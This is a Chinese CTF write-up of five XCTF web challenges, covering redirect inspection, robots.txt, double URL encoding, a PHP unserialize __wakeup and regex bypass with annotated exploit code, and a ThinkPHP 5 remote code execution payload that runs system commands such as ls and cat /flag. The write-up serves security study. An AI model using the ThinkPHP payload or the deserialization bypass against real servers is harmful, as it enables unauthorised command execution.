Web方向(进阶区)
baby_web
题目来源: 暂无
题目描述:想想初始页面是哪个
题目附件: 暂无
题解:
这里一般初始页面都是index.php,咱们直接进入查看
进入后会发现它会自动跳转到1.php。所以这里我们抓包看看。右键检查、点击网络,然后重新输入index.php,会发现这里被重定向了。
所以决定看看这个数据包的具体内容,这里咱们用burpsuit工具。
发送到Repeater模块
Send发送后看到index的正真包
这里找到真正的flag
Training-WWW-Robots
题目来源: 暂无
题目描述:暂无
题目附件: 暂无
题解:
这里一看题目Robots,知道这里和Robots肯定有关系
直接进入robots.txt查看
找到flag页面,进入提交即可
robots.txt协议之前博客有讲,不了解的可以去看
网络安全学习之攻防世界[刷题笔记]
https://blog.csdn.net/qi_qi14/article/details/122642589?spm=1001.2014.3001.5502 的第二题。
PHP2
题目来源: 暂无
题目描述:暂无
题目场景:点击获取在线场景
题目附件: 暂无
题解:
题目说:
这里没思路先扫一下这个目录
发现什么也没有。
这时,可以看看phps文件
php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本
然后对这个源码进行代码审计
第一个if就是get请求一个id变量,id赋值为admin
第二块:
urldecode进行一次解码
统一资源标识符(URI)所允许的字符分作保留与未保留,保留字符是那些具有特殊含义的字符。
之后拿解码的id再和admin比较
分析完毕后合起来看这个代码逻辑就是先get请求一个id,这个id再进入网址后会被浏览器解析,解析后和admin比较,比较不同后,再把id解析,再和admin比较。如果相等就输出key。
所以我们只需要把id编码两次再get请求上去即可。
这里使用burpsuit自带的编码工具
第一栏选择Plain
编码为URL
先编码一次
之后拿第一次编码的结果再编码一次
get上传变量id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
获取最后的flag
Web_php_unserialize
题目来源: XTCTF
题目描述:暂无
题目附件: 暂无
题解:
进入后看到php代码
这里直接就上解题代码,代码都标注了详细的注释
<?php
class Demo { //一个Demo类
private $file = 'index.php';//定义了一个变量file赋值为index.php
public function __construct($file) { //构造函数可以类比java的构造器,用于赋值
$this->file = $file;
}
function __destruct() { //__destruct是析构方法,允许在销毁一个类之前执行的一些操作或完成一些功能
echo @highlight_file($this->file, true); //php highlight_file函数用于对文件进行PHP语法高亮显示
}
function __wakeup() { //当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//这里是提示fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //isset判断是否设置了var变量
$var = base64_decode($_GET['var']); //base64_decode解码的一种类型
if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match 函数用于执行一个正则表达式匹配。
//[oc]:\d+:/i是正则表达式
die('stop hacking!'); //匹配成功就退出die
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
$key = new Demo('fl4g.php');
echo serialize($key);
//获取到O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
//这里先绕过_wakeup,因为这个函数在序列化一个对象成功后调用,所以我们只要修改这里的输出,让它不符合这个序列化规则,即可。
$keyy = serialize($key);
$keyy = str_replace(':1:',':2:',$keyy);//绕过_wakeup
//str_replace() 函数替换字符串中的一些字符
$keyy = str_replace('O:4','O:+4',$keyy);//绕过preg_match
// /[oc]:\d+:/i 的匹配:[oc]对应O,:对应:。\d对应4.这里要改就只能改\d.
// 因为这里4和+4是相同的,进行替换
echo base64_encode($keyy);//base64_decode,因为这调用了这个函数,所以我们需要编码一次
?>
运行之后获取到var的值
之后get上传var变量。拿到flag
php_rce
题目来源: 暂无
题目描述:暂无
题目附件: 暂无
题解:
rce:RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
这里显示ThinkPHP V5一个高性能框架还提示了rce,很大概率说明着是一个框架漏洞,这里在github上搜索这个框架
咱们找一个上去
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
传参后看到
ls%20…/…/…/
之后看到
cat /flag 得到flag
这里后面可以加linux命令,具体原因,请看博客
攻防世界[刷题笔记]之Web方向(练习区)(后半)command_execution题目
https://blog.csdn.net/qi_qi14/article/details/123573758?spm=1001.2014.3001.5502